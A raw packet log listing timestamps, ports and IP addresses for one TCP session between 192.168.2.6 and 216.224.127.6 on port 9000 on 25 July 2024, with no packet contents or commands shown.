Jul 25, 2024 13:23:24.017946959 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.018474102 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.018486023 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.018496990 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.018527031 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.018558979 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.018569946 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.018577099 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.018583059 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.018665075 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.019356966 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.019377947 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.019387960 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.019413948 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.019447088 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.019504070 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.019520998 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.019537926 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.019550085 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.019607067 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.019727945 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.069523096 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.076138973 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.076158047 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.076178074 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.076189041 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.076200008 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.076210022 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.076220989 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.076229095 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.076241016 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.076323986 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.076387882 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.076400042 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.076432943 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.076586008 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.076596975 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.076606989 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.076618910 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.076628923 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.076634884 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.076639891 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.076652050 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.076664925 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.076668978 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.076677084 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.076716900 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.077094078 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.077105999 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.077116013 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.077126980 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.077136993 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.077142000 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.077147961 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.077159882 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.077169895 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.077169895 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.077182055 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.077193022 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.077195883 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.077203989 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.077214003 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.077223063 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.077225924 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.077234983 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.077250004 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.077282906 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.077672958 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.077685118 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.077694893 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.077747107 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.077758074 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.077768087 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.077770948 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.077779055 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.077789068 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.077795029 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.077800035 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.077811003 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.077831984 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.077845097 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.077878952 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.081424952 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.081440926 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.081453085 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.081463099 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.081475973 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.081506968 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.081547022 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.081558943 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.081587076 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.090693951 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.090712070 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.090727091 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.090739965 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.090780020 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.090811968 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.090822935 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.090832949 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.090847015 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.090858936 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.090892076 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.090934992 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.091037989 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.091048956 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.091059923 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.091070890 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.091079950 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.091082096 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.091093063 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.091123104 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.091144085 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.091408968 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.091418982 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.091428995 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.091439009 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.091449976 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.091454029 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.091461897 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.091489077 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.091511011 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.091722965 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.091732979 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.091774940 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.091783047 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.091794014 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.091816902 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.091979027 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.091989994 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.092000961 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.092010975 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.092031002 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.092072964 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.104851961 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.104876041 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.104887962 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.104898930 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.104908943 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.104919910 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.104932070 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.104950905 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.105000019 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.105148077 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.105159044 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.105169058 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.105180025 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.105190992 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.105201006 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.105210066 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.105212927 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.105243921 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.105951071 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.105989933 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.106000900 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.106002092 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.106039047 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.106133938 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.106144905 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.106154919 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.106168032 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.106185913 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.106229067 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.106333971 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.106344938 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.106354952 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.106364965 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.106400967 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.106431007 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.106545925 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.106556892 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.106568098 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.106596947 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.107263088 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.107274055 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.107284069 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.107310057 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.107345104 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.107625008 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.107635021 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.107645035 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.107651949 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.107700109 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.164331913 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.164351940 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.164364100 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.164434910 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.164640903 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.164653063 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.164664984 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.164678097 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.164700031 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.164731979 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.164778948 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.164789915 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.164800882 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.164813042 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.164819956 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.164891958 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.164933920 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.164943933 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.164956093 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.164978027 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.165015936 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.165112972 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.165124893 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.165136099 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.165147066 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.165155888 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.165158033 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.165189981 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.165278912 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.165318966 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.165642023 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.165652990 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.165663958 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.165679932 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.165690899 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.165697098 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.165735960 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.165930033 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.165941000 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.165951967 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.165962934 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.165971994 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.165973902 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.165983915 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.166018009 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.166229963 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.166240931 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.166250944 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.166261911 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.166268110 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.166273117 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.166289091 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.166333914 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.166589975 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.166745901 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.166758060 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.166785002 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.166925907 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.166935921 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.166946888 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.166955948 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.166965961 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.166976929 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.167021990 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.169105053 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.169120073 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.169131994 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.169190884 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.169230938 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.169240952 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.169251919 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.169258118 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.169276953 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.169316053 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.179059982 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.179075003 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.179085970 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.179096937 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.179106951 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.179164886 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.179173946 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.179182053 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.179192066 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.179203033 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.179210901 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.179214001 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.179224968 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.179235935 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.179238081 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.179245949 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.179259062 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.179264069 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.179270029 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.179280996 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.179291964 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.179295063 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.179303885 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.179313898 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.179316998 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.179323912 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.179335117 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.179344893 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.179344893 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.179373026 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.180547953 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.180608988 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.180676937 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.180687904 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.180701017 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.180726051 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.180821896 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.180840015 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.180846930 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.180876017 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.180907965 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.180980921 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.198694944 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.198713064 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.198724985 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.198756933 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.198765039 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.198777914 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.198790073 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.198853016 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.198882103 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.198893070 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.198903084 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.198913097 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.198925018 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.198934078 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.198937893 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.198945999 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.198971033 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.198992014 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.199182034 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.199193001 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.199203014 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.199213982 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.199228048 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.199235916 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.199239016 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.199250937 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.199280024 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.199443102 CEST	9000	49712	216.224.127.6	192.168.2.6
